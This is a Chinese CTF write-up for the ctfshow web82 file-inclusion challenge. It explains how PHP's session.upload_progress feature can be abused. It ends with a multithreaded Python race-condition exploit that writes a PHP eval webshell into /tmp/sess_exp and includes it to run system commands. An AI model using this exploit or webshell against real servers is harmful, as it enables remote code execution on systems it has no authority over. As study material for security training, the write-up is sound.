ctfshow-web82-文件包含-session包含

web82-文件包含-php_session_upload_progress文件包含.md

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 19:34:45
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

多过滤掉了点.,这样file中就不能出现文件名了

可以利用session.upload_progress进行文件包含

引用参考文章:https://www.freebuf.com/articles/web/288430.html

什么是session.upload_progress?

1
2
3
4
session.upload_progress.enabled = on
session.upload_progress.cleanup = on
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
  • session.upload_progress.enabled可以控制是否开启session.upload_progress功能
  • session.upload_progress.cleanup可以控制是否在上传之后删除文件内容
  • session.upload_progress.prefix可以设置上传文件内容的前缀
  • session.upload_progress.name的值即为session中的键值

session.upload_progress开启之后会有什么效果?

当我们将session.upload_progress.enabled的值设置为on时,此时我们再往服务器中上传一个文件时,PHP会把该文件的详细信息(如上传时间、上传进度等)存储在session当中。

问题一:如何初始化session并且把session中的内容写到文件中去呢?

我们可以注意到,php.ini中session.use_strict_mode选项默认是0,在这个情况下,用户可以自己定义自己的sessionid,例如当用户在cookie中设置sessionid=Lxxx时,PHP就会生成一个文件/tmp/sess_Lxxx,此时也就初始化了session,并且会将上传的文件信息写入到文件/tmp/sess_Lxxx中去。

问题二:当session.upload_progress.cleanup的值为on时,即使上传文件,但是上传完成之后文件内容会被清空,怎么办?

利用Python的多线程,进行条件竞争(在系统自动清理前,抢先完成文件包含并执行代码。这种手法在文件上传漏洞利用中很常见,本质是“赶在系统删除前抢占执行权”)。

如何利用session.upload_progress进行RCE?

以本题为例

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
# coding=utf-8
import io
import requests
import threading

# 目标URL
target_url = "http://642992dd-f043-4524-959c-2e46c7692533.challenge.ctf.show/"
# 自定义SESSIONID
sessid = 'exp'
# 要执行的命令
data = {"cmd": "system('ls');"}

# 持续向服务器发送请求
def write(session):
while True:
# 创建一个50KB的内存文件
f = io.BytesIO(b'a' * 1024 * 50)
# 向目标URL发送请求
resp = session.post(
target_url,
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'},
# 模拟上传文件,触发PHP_SESSION_UPLOAD_PROGRESS处理
files={'file': ('test.txt', f)},
# 设置PHPSESSID
cookies={'PHPSESSID': sessid}
)

# 持续尝试触发并读取命令执行结果
def read(session):
while True:
# 尝试读取/tmp下创建的会话文件sess_exp
resp = session.post(
target_url+ '?file=/tmp/sess_' + sessid,
data=data
)
# 如果响应中包含test.txt,说明命令执行成功,打印结果并清除事件标志
if 'test.txt' in resp.text:
print(resp.text)
event.clear()
else:
print("[+++++++++++++]retry")

# 多线程进行条件竞争
if __name__ == "__main__":
event = threading.Event()
with requests.session() as session:
for i in range(1, 30):
threading.Thread(target=write, args=(session,)).start()
for i in range(1, 30):
threading.Thread(target=read, args=(session,)).start()
event.set()

image-20250525085859807

image-20250525085940653


ctfshow-web82-文件包含-session包含
https://yschen20.github.io/2025/05/25/ctfshow-web82-文件包含-session包含/
作者
Suzen
发布于
2025年5月25日
更新于
2025年5月29日
许可协议